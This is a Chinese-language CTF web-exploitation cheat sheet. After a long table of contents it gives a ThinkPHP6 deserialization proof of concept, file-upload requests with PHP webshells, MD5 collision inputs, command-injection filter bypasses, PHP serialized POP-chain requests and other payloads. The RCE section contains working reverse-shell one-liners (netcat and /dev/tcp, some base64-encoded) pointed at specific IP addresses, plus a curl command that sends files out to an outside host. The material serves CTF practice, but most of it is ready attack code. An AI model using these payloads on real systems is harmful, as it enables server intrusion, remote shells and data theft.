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目录
thinkphp6
python反编译
Web题目
ssl注入
RCE
字符长度限制
7字符长度
某个字母被ban的绕过方法
ping题目
不含数字和字母的
提权题目
upload题目：
字符绕过
ool注入
Sql注入
更新段表
注入1：
Handle注入
布尔盲注
特殊方法
测试列数
堆叠注入
常见绕过
Flask题目
flask的ping值计算
Flask例题
git题目
java题目
Jwt题目
XXE题目
SSRF题目
file协议
dict协议
gopher协议
打mysql无密码
mysql读取任意文件漏洞
写马
基于UNION联合查询： #
非联合查询 #
mysql进行root权限提取
打redis
主从复制redis
dict协议分步解决：
http/s协议：探测内网主机存活
SSTL题目
twig模板
smarty
jinjia
沙盒逃逸
字符长度限制
globals()函数
Byte代替char
****+绕过方式
_posixsubprocess绕过
****多次输入
****单次输入
随机数
****输出流重定向
XSS专题
****过滤img
****过滤script
Node.js题目
1.包含eval内利用
2.node.js中的拼接问题：
3.长度字符限制数组异常绕过
原型链污染
普通变量相等绕过
升级rce绕过
函数套函数
ejs模板rce
pear包含
ssh打php-rfm
函数使用
非法传参名
python用法
pickle反序列化题目
Php题目
心得：
Pear包含
****方法一：远程文件下载（下载远程木马到本地）
****方法二：生成配置文件，配置项传入我们恶意的php代码的形式
****方法三：写配置文件方式
函数总结
basename()
parse_url
file_get_content()
file_put_contents()
getip()
Include()
intval
Is_number()
Pathinfo()
toLowerCase
toUpperCase
Array_search
Call_user_func
putenv
prase_str()
Strpos()
escapeshellcmd
escapeshellarg() + escapeshellcmd()
Exit（）
Data()
Create_function()
Yaml.load()
$_REQUEST
$_SERVER['QUERY_STRING']
toUpperCase()
toLowerCase():
fastcgi_pass
反序列化题目：
字符逃逸
Destruct触发
· *字符过滤绕过：*函数名, 方法名, 类名不区分大小写
绕过throw new Exception 强制GC回收执行__destruct()函数
Fastapi
综合例题
常见问题
src挖洞之路：
查询平台：
sql漏洞：
so文件编译
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
thinkphp漏洞分析与总结 · Drunkmars's Blog
thinkphp6
poc
<?php /** * Created by PhpStorm. * User: wh1t3P1g */ namespace think\model\concern { trait Conversion{ protected $visible; } trait RelationShip{ private $relation; } trait Attribute{ private $withAttr; private $data; protected $type; } trait ModelEvent{ protected $withEvent; } } namespace think { abstract class Model{ use model\concern\RelationShip; use model\concern\Conversion; use model\concern\Attribute; use model\concern\ModelEvent; private $lazySave; private $exists; private $force; protected $connection; protected $suffix; function construct($obj) { if($obj == null){ $this->data = array("wh1t3p1g"=>"whoami"); $this->relation = array("wh1t3p1g"=>[]); $this->visible= array("wh1t3p1g"=>[]); $this->withAttr = array("wh1t3p1g"=>"system"); }else{ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->data = array("wh1t3p1g"=>[]); $this->connection = "mysql"; $this->suffix = $obj; } } } } namespace think\model { class Pivot extends \think\Model{ function construct($obj) { parent::__construct($obj); } } } namespace { $pivot1 = new \think\model\Pivot(null); $pivot2 = new \think\model\Pivot($pivot1); echo base64_encode(serialize($pivot2));
POST /user/upload/upload HTTP/1.1 Host: 8180dbac-b11b-41d5-a2cd-4a034a2797e0.vnctf2024.manqiu.top Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728 Content-Length: 894 Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz Accept: */* Origin: https://info.ziwugu.vip/ Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://target/user/upload/index?name=icon&type=image&limit=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6 Connection: close ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="id" WU_FILE_0 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="name" test.jpg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="type" image/jpeg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="lastModifiedDate" Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间) ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="size" 164264 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: image/jpeg JFIF <?php phpinfo();?> ------WebKitFormBoundaryrhx2kYAMYDqoTThz--
python反编译
uncompyle6 ../pyc/utils.cpython-38.pyc > ../pyc/utils.py
Web题目
常见trick：
1.绕过；&、|、||、%0a、%0d
2.读取就要想到伪协议
3.文件下载想到任意文件跨目录读取
下面三个url解码后md5()后相同
点击展开代码块
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab" $s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab" $s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
绕过八进制 010574
0代表是八进制,+0和 0都可以
十六进制0x
在弱类型比较的时候，4476e123是科学计数法4476*10^123，而在intval函数中，遇到字母就停止读取，因此是4476，成功绕过，非常巧妙。
php://filter/read=string.rot13/newstar/resource=flag.php
Php协议读取
第一次vim会创建缓存的交换文件名为 .index.php.swp，
再次意外退出后，将会产生名为 .index.php.swo 的交换文件，
第三次产生的交换文件则为 .index.php.swn。
XFF可控，
*Flask可能存在*Jinjia2模版注入漏洞
*PHP可能存在*Twig模版注入漏洞
本地登陆
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
从哪访问：Referer
服务ip：via
邮箱：FROM
$this->code==0x36d (弱比较换成十进制数也可）
system不能用可以换shell_exec
if (md5($POST['a']) === md5($POST['b']))数组绕过
ls /|tee xxx 也可以写文件，再用nl打开
ctfshow::getflag 直接调用方法
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
冒号过滤可以尝试数组绕过，前面属性后面方法名
call_user_func(array($classname, 'say_hello'));
?1=session_start
?1=error_reporting
?1=json_last_error
能返回一正确（true）值绕过==弱比较
?1=spl_autoload_extensions生成 .inc,.php 文件(shell文件)
通过替换实现内存占用放大，超过php最大默认内存256M即可造成变量定义失败
Str_repalce
已经拿过flag，题目正常,也就是说...可以看日志
配置文件 /etc/nginx/nginx.conf
访问日志 /var/log/nginx/access.log
file:///etc/nginx/conf.d/default.conf
?page=/var/log/nginx/access.log ?page=/var/log/nginx/error.log ?page=/etc/nginx/nginx.conf
依赖进程，思路可以是读 /proc/self/maps
Md5专题
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2))
数组绕过
if ($a != $b && md5($a) == md5($b))
a=s1885207154a，b=s1836677006a
if ($a != $b && md5($a) == md5(md5($b))
a=s1885207154a，b=V5VDSHva7fjyJoJ33IQl
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )
A=1 b=’1’;
if((string)$GET['a'] !== (string)$GET['b'] && md5($GET['a'])===md5($GET['b'])){
s1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&s2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
$md5==md5(md5($md5))
0e1138100474
a==md5($a)
0e215962017
md5('240610708') == md5('QNKCDZO')
加密后带单引号’
ffifdyop
e58
4611686052576742364
加1
1e<2023 1e7+1>2023
%0a绕过#注释符号
ssl注入
特征：shtml文件
<!--#exec cmd="ls -al"-->
RCE
4,5,7绕过
4
字符长度限制
7字符长度
trick：nl /*>1
拆解绕过
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
<?php eval（$_GET[1]);
import requests
import time
url = "http://66647db2-18aa-4d81-aa34-52f50c5789d1.challenge.ctf.show/api/tools.php"
with open("payload.txt", "r") as f:
for i in f:
data = {"cmd": i.strip()}
r = requests.post(url=url, data=data)
time.sleep(1)#时间控制
print(r.text)
test = requests.get("http://66647db2-18aa-4d81-aa34-52f50c5789d1.challenge.ctf.show/api/1.php")
if test.status_code == requests.codes.ok:
print("you've got it!")
4字符绕过
cat /flag base64:PD9waHAgcGhwaW5mbygpOw== 构造 echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
某个字母被ban的绕过方法
1. 反斜线转义 cat fla\g.php
2. 两个单引号做分隔 cat fl''ag.php
3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh
4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash
5. glob通配符 cat f[k-m]ag.php cat f[l]ag.php
6. ?和*
7. cat f{k..m}ag.php
8. 定义变量做拼接 a=g.php; cat fla$a
9. 内联执行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat
10.指定字符
拼接执行
1.tar | echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjEn | base64 -d | bash |
if(preg_match('/f|l|a|g/',$a))
只过滤命令参数
function=file_get_contents&cmd=http://47.99.125.16/3.php
都过率
function=strtolower&cmd=show_source(chr(47).chr(102).chr(49).chr(97).chr(103));
More `php -r "echo chr(102).chr(49).chr(97).chr(103);"`
ls / |script 1.txt 写入1.txt
Eval函数
使用system一般有回显，`ls`一般要用echo来输出
无回显问题：
python -m http.server 80 开启监听
php -S localhost:8000 linux 启动php
nc -lp 3939
nc 47.99.125.16 3389 -e /bin/bash
nc 47.99.125.16 3389 -e /bin/sh
echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS4xMjUuMTYvMzM4OSAgMD4mMSc= | base64 -d | bash
a';CALL SHELLEXEC('bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS4xMjUuMTYvMzM4OSAgMD4mMSc=}|{base64,-d}|{bash,-i}');--+
echo bash -c 'bash -i >& /dev/tcp/49.232.224.59/3389 0>&1' | base64 -d | bash |
bash -c 'exec bash -i &>/dev/tcp/49.232.224.59/3389 <&1'
反弹shell
.可以被。代替
curl 192.168.74.129/123 访问
Curl 3fjcznyppzdq1o2py3z4lwkw0n6eu4it.oastify -T /tmp/Syclover 传输数据
-o shell.php 下载文件到
-o shell.php
curl https://haxx.in/files/dirtypipez.c -o shell.c
Curl -t 192.169.1.1 /flag 极客大挑战2023 Web方向题解wp 全-CSDN博客.html
?url=http://ip:1337/' -F file=@/flag '
查看端口进程：
`lsof -i :<port>
ping题目
冒号过滤 ----%0a代替
$(**printf "\154\163")** 执行ls --绕过反引号``
思路：
黑名单绕过rce，用16进制编码绕过：aaa=hex2bin('73797374656d')('uniq /f*');
日志替换
/var/log/nginx/access.log
学到了sed p /e-g* ;这种读文件的方法，转换下sed p /e-g* ;就相当于cat /flag了
nl ->uniq
空格${IFS}
#可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag ?c=mv${IFS}fla?.php${IFS}a.txt
$(())是0
$((~$(())))是-1
$(($((~$(())))$((~$(())))))是-2
读取文件
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
文件日志包含再用include
c=var_export(scandir("/"));exit();
Eval闭合?>
c=highlight_file("/flag.php"); c=include("/flag.txt"); c=require("/flag.txt"); c=include_once("/flag.txt"); c=require_once("/flag.txt");
有Include函数包含，在require包含会跳过，这里绕过使用
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
--requice跳过
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");}
读取根目录文件
1、查看源码以后发现在最后输出的环节，他将数字和字母全部都转换为了“?”号，可以通过“exit();”，将后续代码闭合。
2、扫描目录：
c=$a=opendir('/');while(($file=readdir($a)) != false) {echo $file."";}exit();
passthru(“ls /“);
****无参数读取
//此处我用的官方wp的exp脚本
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
****扫描可用端口
var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());相关配置信息
get_loaded_extensions()查看所有编译并加载的模块
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破，不然手动要刷新很久，如果文件是正数或倒数第一个第二个最好不过了，直接定位
//查看和读取根目录文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
show_source(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
$a->lover="mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));";
$a->lover="mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));readfile('f1ger');"
echo file_get_contents("/ctfshowflag");
//查看和读取根目录文件
————————————————=>获得路径为/var/html
?code = print_r(getcwd());
=>查看路径下内容没有可用的
?code = print_r(scandir(getcwd()))
=>探测上一级为Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html )
?code = print_r(scandir(dirname(getcwd())))
=>发现flag文件，进行读取
?code = readfile(next(array_reverse(scandir(dirname(getcwd())))))
=>发现报错，不存在flag_phpbyp4ss文件，更改工作目录
?code = readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))
拿到数组最后一个
show_source(end(scandir(getcwd())));
get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
不含数字和字母的
$=[];$=@"$";$=$['!'=='@'];$___=$;$=$_;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$_.=$;$=$;$++;$++;$++;$++;$_.=$;$__=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$__='';$=$_;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$__;$=$$;$__($[_]);
低版本木马多用assert(eval($_POST[test]))
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
绕过disablefunction用蚂蚁🗡
提权题目
find / -perm -u=s -type f 2>/dev/null //查看具有suid权限的命令 find / -perm -4000 2>/dev/null //这个也可以 定时触发可能有定时任务 cat /etc/crontab lsb_release -a，列出所有linux系统版本信息 nginx -v，列出nginx版本信息
pkexec --version
查看版本
grep -rl "NSS**" /path/to/search 查找指定内容
find / -type f -exec grep -l "NSSCTF{" {} +
Auto_prepend_file phpinfo
多重变量覆盖extract尝试session_id=session_id
${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
upload题目：
多文件包含
POST / HTTP/1.1 Content-type: multipart/form-data;boundary=--------------------------55split User-Agent: Firefox Accept: */* Host: 192.168.1.113 Accept-Encoding: gzip, deflate Connection: close Content-Length: 362 ----------------------------55split Content-Disposition: form-data; name=""; filename="1.py" Content-Type: application/octet-stream HWO ----------------------------55split Content-Disposition: form-data; name="flag" Content-Type: application/octet-stream php://filter/read=convert.base64-encode/resource=flag.php ----------------------------55split--
一句话木马：
<script language='php'></script>
逻辑漏洞、文件内容检测绕过
文件头是位于文件开头的一段承担一定任务的数据，一般开头标记文件类型，如gif的gif89a，或gif87a， png的x89PNG\x0d\x0a,等等
php的解释器可以解析：php、php3、php4、php5、php7、phtml、pht、phs、shtml、pwml~不过本题除了后两个，前面全部被waf拉黑了~
$file=1.php.1 //apache2.x解析漏洞，输入/.是不会解析的
$file=1.pwml //php解释器绕过
con=<?php @eval($_POST[cmd]);?>&file=test.php/ 递归目录会截断
Php特性：
<script language="php">echo '123'; </script> 无问号
<% echo '123';%> #开启配置参数asp_tags=on，并且只能在7.0以下版本使用
<? echo '123';?> #前提是开启配置参数short_open_tags=on
phar://协议可以读取任意后缀压缩包中的内容，如.zip。
为题目中有写文件的函数，所以可以通过file_put_contents写phar文件，然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作，所以需要用到条件竞争。
| 12 | AddType application/x-httpd-php .xxxphp_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx" |
|---|---|
字符绕过
trick：在Linux系统下1.php.是一个合法的文件名，系统不会自动把最后的点去掉并把文件当成php文件执行，所以点绕过只在Windows下有用 1.php/.
十六进制可绕过，s改为S
// 将小s改为大S; 做处理后 \75是u的16进制， 成功绕过
$a = 'O:4:"test":1:{S:8:"\75sername";s:5:"admin";}';
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";
POST:1=要执行的代码
解决办法是将https改成http。（https太安全了呜呜呜）编码器记得选base64
Pop链条构造eval函数里面调用函数要记得system(‘ls’)****;
if(';'
if (';' === preg_replace('/\s()+?((?R)?)/', '', $var)){
****正则表达式：/[oc]:\d+:/i。意思是过滤这两种情况：o:数字:与c:数字:
\W,(注意这个W是大写的)，匹配非字母、数字、下划线。等价于A-Za-z0-9_。
所以\W是对上面的\w取反: 匹配所有字母数字下划线的字母。
s 代表让 . 也可以匹配换行符。
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
^\s() 表示匹配除了空格、左括号和右括号之外的任意字符。
禁用数字和小写字符，可用${IFS}这种取值，如果给出环境变量内容，利用构造nl显示.
->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>ctfshow构造{IFS} - 简书.html(117题)
%0aphp 遇到多行匹配%0a换行
POST /?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A4%3A%22eval%22%3B%7Ds%3A1%3A%22b%22%3BR%3A3%3B%7Di%3A0%3BN%3B%7D HTTP/1.1
Host: localhost
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: /
Connection:close
Content-Length:155
Content-Type: multipart/form-data; boundary=c25447769cf9fc1afc13ede702b4279d
--c25447769cf9fc1afc13ede702b4279d
Content-Disposition: form-data; name="file"; filename="file"
#/bin/shcat /*
--c25447769cf9fc1afc13ede702b4279d--
POST /?ctf=O%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A1%3A%22b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A9%3A%22lewiserii%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A6%3B% HTTP/1.1
Host: 192.168.100.100:10033
Content-Length: 186
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: ****null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0xXn6nlxZVqh49pS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundary0xXn6nlxZVqh49pS
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
cat /f*
